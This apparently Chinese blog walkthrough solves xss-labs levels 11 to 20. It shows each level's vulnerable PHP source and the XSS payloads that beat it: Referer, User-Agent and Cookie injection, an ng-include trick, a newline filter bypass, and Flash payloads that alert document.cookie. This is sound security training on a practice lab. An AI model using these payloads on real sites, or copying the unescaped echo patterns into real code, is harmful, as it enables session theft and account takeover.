xss-labs详解(下)11-20

最新推荐文章于 2024-08-06 23:05:42 发布
最新推荐文章于 2024-08-06 23:05:42 发布
阅读量924 收藏 1
点赞数 1
分类专栏： xss-labs
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/hxhxhxhxx/article/details/107796766
版权

xss-labs详解

Level 11

在这里插入图片描述
在这里插入图片描述
查看一波源代码，发现可能在这里存在xss
那么我们使用burp抓包,修改
在这里插入图片描述

在这里插入图片描述

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

果不其然他是把上一关的链接加上了

Level 12

在这里插入图片描述
在这里插入图片描述
我们先看一下源代码
这次他的值明显就是useragent的内容了
在这里插入图片描述
在这里插入图片描述

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

这个$_SERVER[‘HTTP_USER_AGENT’]就是来获取的

Level 13

在这里插入图片描述
在这里插入图片描述
看源代码觉得和10关很相似，我们全部自己构造参数试试
构造普通一句话
在这里插入图片描述
只有这里有回显
第一个是refer
第二个是useragant
猜测这个就是cookie的xss了
在这里插入图片描述
在这里插入图片描述

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

Level 14

在这里插入图片描述

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

我们查询一下，需要访问这个网页，

我们使用某种不存在的东西，访问一下
可交换图像文件格式（英语：Exchangeable image file format，官方简称Exif），是专门为数码相机的照片设定的，可以记录数码照片的属性信息和拍摄数据。

将XSS写到Exif里（PowerExif）exif是PHP拓展，如果要用exif_read_data函数要记得开启拓展。
这是使用demo

<?php
$exif = exif_read_data('test.jpg');
var_dump($exif);

在这里插入图片描述
linux系统使用exiftool工具，进行修改。windows系统直接使用鼠标右键进入属性页面直接修改。
在配置文件php.ini中找到php_exif.dll将其加载顺序替换到php_mbstring.dll的后面，重启Apache打开页面进行读取，弹窗成功
这个网站可以修改

在这里插入图片描述
在这里插入图片描述

Level 15

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js被墙了
我们换一个
https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
在这里插入图片描述
在这里插入图片描述

ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。

可以看到我们提交的参数src的值被插入到了标签的class属性值中，但是前面还有ng-include这样的字符。

ng-include是angular js中的东西，其作用相当于php的include函数。这里就是将1.png这个文件给包含进来
在这里插入图片描述
我们这么构造

?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'

就相当于访问了一次level1，同时让1执行了xss
在这里插入图片描述
在这里插入图片描述

ng-include

1.ng-include,如果单纯指定地址，必须要加引号
2.ng-include,加载外部html，script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
1，ng-include指令用于包含外部的HTML文件。

2，包含的内容将作为指定元素的子节点。

3，ng-include属性的值可以是一个表达式，返回一个文件名。

4，某种情况下，包含的文件需要包含在同一个域名下。

onerror

在这里插入图片描述

Level 16

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
经典一句话，基本都被过滤了，
发现scrip和/被编码为&nbsp;
因为这里把空格都编码了，也就意味着我们无法通过空间来将字符分隔进行语义的区分，不过我们还可以用回车来将它们分开。而且这里将/符号也编码了，所以我们需要的是一个不需要封闭的标签，在一开始之前用过的

可以用回车的URL编码格式％0a来表示。当然％0d也可以。

http://127.0.0.1/xsslabs/xss/level16.php?keyword=<img%0asrc="111"%0aοnerrοr=alert('xss')>

在这里插入图片描述

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

可以看到关键字script以及/符号，空格都被替换成相同的空间字符实体了。这样也没办法去封闭前面的标签了。

Level 17

在这里插入图片描述

在这里插入图片描述
他有两个参数，我们都来一句话看看

发现过滤了括号
在这里插入图片描述
他这里提示了xsf，是一个flash攻击
它本身的src并没有引号，所以我们直接输入即可
在这里插入图片描述
火狐没有flash，我们来chrome但是谷歌把xss防住了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
直接使用onclick或者onmouseover即可

Level 18

18关同17关

Level 19

在这里插入图片描述
因为chrome和fire都不让flash运行，我们只能打开ie
在这里插入图片描述
src的值使用双引号括起来的
这里有师傅的具体操作
https://baynk.blog.csdn.net/article/details/103213877
arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>
在这里插入图片描述
在这里插入图片描述

Level 20

level20 仍然是flash的xss
在这里插入图片描述
一片空白的20关
https://blog.csdn.net/u014029795/article/details/103217680
师傅的博客

level20.php?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

这关确实没思路了
可以试试flash xss扫描工具
在这里插入图片描述

無名之涟
关注
专栏目录
xss-labs通关详解 Level 1-5
qq_41755084的博客
10-25 877
测试xss漏洞的JavaScript弹窗代码：
xss-labs 小结
China
04-09 327
xss-labs hgfghf ghfhgj XSS总结 思路总结 1、当服务器未对输入值做任何过滤原样echo ？ 反射性xss 流程总结 level1 有个回显，所以就可以选择插入一个payload <script>alert(‘xss’)</script> #alert是一个弹窗，所有的js代码都要放在<script>里面才会被当作js代码执行 url框的name后面 当服务器未对输入值做任何过滤原样echo ？ 通过查看level1.php得知 $s
XSS-labs详解
ytdd66的博客
03-23 2429
进入靶场点击图片，开始我们的XSS之旅！
xss漏洞（五，xss-labs靶场搭建及简单讲解）
最新发布
2302_80280669的博客
08-06 682
本文基于github上的xss-labs靶场以及PHP study进行操作。
xss-labs详解
weixin_52385170的博客
09-30 396
xss-labs详解
xss-labs详解(上)1-10
hxhxhxhxx的博客
08-02 1163
xss-labs详解Level 1Level 2htmlspecialcharsLevel 3Level 4Level 5Level 6Level 7Level 8Level 9LevelLevelLevelLevel Level 1 源码 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-
xss-labs通关，xss漏洞详解
qq_47289634的博客
01-12 1341
XSS 的原理是 WEB 应用程序混淆了用户提交的数据和 JS 脚本的代码边界，导致浏览器把用户的输入当成了 JS 代码来执行。XSS 的攻击对象是浏览器一端的普通用户。XSS 又叫 CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往 Web 页面里插入恶意 html 代码，当用户浏览该页之时，嵌入其中 Web 里面的 html 代码会被执行，从而达到恶意用户的特殊目的。
xss-labs 1-15
m0_65977612的博客
11-11 636
BUU XSS-Lab 1-15
xss-labs-master.rar
05-09
《XSS实验室详解：从入门到精通》 XSS（Cross-site scripting）是一种常见的Web应用程序安全漏洞，允许攻击者在用户浏览器中注入恶意脚本。"xss-labs-master.rar" 提供了一个针对XSS漏洞的专项练习平台，旨在帮助...
xss-labs-master源码
07-06
《XSS Labs Master源码详解：深度探索跨站脚本攻击与防御》 XSS（Cross Site Scripting）是一种常见的网络安全漏洞，它允许攻击者在用户的浏览器上执行恶意脚本，进而盗取用户数据或控制用户的行为。"xss-labs-...
xss-labs-master.zip（xss注入通关游戏/靶场）
03-21
**XSS注入详解** XSS（Cross Site Scripting），即跨站脚本攻击，是一种常见的Web应用程序安全漏洞。它允许攻击者在用户浏览器上执行恶意脚本，从而获取敏感信息、操控用户行为或进行钓鱼攻击。`xss-labs-master....
xsslabs.zip
05-14
xsslabs靶场，拥有大量xss靶机，从入门到精通，可以查看源码，更好的学习xss 可以跟着代码审计来练习xss
xss-labs.zip
03-18
xss-labs是一个网站，其中包含了20个含有XSS漏洞的网页，用于学习XSS。
xss-labs通关详解 Level 11-15
qq_41755084的博客
10-26 1251
这一关比上一关多了一个标签，其他没有变化，先试一下上一关的注入语句。发现在t_sort的标签中的"被编码成了html实体字符，没办法正常闭合了。而t_ref的值看起来像是请求的referer头。那我们将上一关的代码从referer头处传入。页面中出现了输入框，点击该输入框，弹窗成功。
xss-labs通关详解 Level 6-10
qq_41755084的博客
10-25 1011
这一关整体上与第五关类似，只是黑名单的量增加了，尝试了href、src等字段，都被替换掉了。不过这个黑名单是大小写敏感的，而在html语句中，大小写不敏感。我们可以使用大小写字段进行绕过。构造注入代码从keyword参数处传入。将href的f大写，变为hreF，绕过黑名单，页面上成功插入了标签。点击该标签，成功弹窗。
xss-labs通关大详解
shayebudon的博客
10-31 1136
目录 level1 level2 level3 level4 level5 level6 level7 level8 level9 xss-labs level1 观察三处箭头，可以发现它是向服务器提交了一个name参数，值为“test”，从页面 回显来看，将neme参数的值显示在了页面上，并且显示了name参数值的字符长度 接下来，查看源码 他将name的参数值放到了<h2></h2>之间 将name的参数重新赋值：&lt...
xss-labs
ing_end的博客
03-26 4832
跨站脚本攻击 XSS的概念（被动攻击） 由于跨站脚本(Cross Site Scripting)英文缩写cSS与层叠样式表(Cascading Style Sheets)的缩写一样,因此业界人士将跨站脚本英文缩写为"XSS"。网站中如果存在可以被XSS攻击的网页,则证明该网站存在XSS漏洞。XSS是目前最普遍的 Web应用攻击方法之一,它是一种利用网站漏洞向网页嵌入恶意脚本代码(如JavaScript)的攻击方式。当用户访问网页时,嵌入在网页中的恶意脚本代码将被执行,从而达到攻击用户的目的。 XSS的危害
xss-labs通关详解
09-18
xss-labs是一个测试平台，用于演示和测试跨站脚本攻击（XSS）漏洞。在这个平＊＊＊构造特定的代码，我们可以在平台上触发XSS漏洞，从而实现攻击目的。 在第6关中，我们可以看到源码中对一些字符进行了替换，但并没有限制大小写。因此，我们可以利用大小写绕过的方式来绕过替换，注入恶意脚本。在这个例子中，我们可以将"h2"闭合为"H2"，然后在其后插入恶意脚本，如<script>alert('xss')</script>。另外，还可以使用类似的方式在<a>标签中插入恶意脚本。 通过构造恶意代码并在URL参数中传入，我们可以成功触发XSS漏洞。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值